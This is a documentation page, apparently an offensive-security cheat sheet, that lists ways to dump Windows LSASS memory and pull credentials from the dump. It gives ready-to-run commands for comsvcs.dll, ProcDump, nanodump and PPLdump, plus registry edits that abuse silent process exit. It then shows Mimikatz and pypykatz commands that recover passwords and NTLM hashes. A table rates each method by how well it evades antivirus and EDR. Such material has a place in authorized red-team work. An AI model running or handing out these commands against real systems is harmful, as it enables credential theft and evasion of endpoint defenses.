Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Overview

LSASS (Local Security Authority Subsystem Service) holds credentials in memory. When Mimikatz is blocked by AV/EDR, use these alternatives to dump LSASS and extract credentials offline.

comsvcs.dll (LOLBIN)

Built-in Windows DLL. No download needed.

Find LSASS PID

tasklist | findstr lsass
Get-Process lsass | Select Id

Dump

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
Requires SeDebugPrivilege. Run from elevated prompt.

ProcDump (Sysinternals)

Microsoft-signed binary — often whitelisted by AV.
# Download
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

Dump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

By PID

procdump.exe -accepteula -ma <PID> lsass.dmp

Task Manager (GUI)

If RDP access is available:
  1. Open Task Manager
  2. Details tab
  3. Right-click lsass.exeCreate dump file
  4. File saved to C:\Users\%USERNAME%\AppData\Local\Temp\lsass.DMP

Direct Syscalls — nanodump

Avoids API hooking by using direct syscalls. Effective against EDR.
https://github.com/helpsystems/nanodump
nanodump.exe -w lsass.dmp

PPLdump (Protected Process Light)

If LSASS runs as PPL (Protected Process Light):
https://github.com/itm4n/PPLdump
PPLdump.exe lsass.exe lsass.dmp

Silent Process Exit (Abuse Windows Error Reporting)

Configure WER to dump LSASS on “exit”:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v LocalDumpFolder /t REG_SZ /d "C:\Windows\Temp"

Extract Credentials from Dump (Attacker)

Mimikatz (Offline)

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

pypykatz (Python — No Windows Needed)

pip3 install pypykatz
pypykatz lsa minidump lsass.dmp

Extract Only NTLM Hashes

pypykatz lsa minidump lsass.dmp -o hashes.txt

Quick Reference

MethodNeeds DownloadAV EvasionNotes
comsvcs.dllNoMediumBuilt-in LOLBIN
ProcDumpYesHighMicrosoft-signed
Task ManagerNoHighGUI only (RDP)
nanodumpYesVery HighDirect syscalls
PPLdumpYesHighBypasses PPL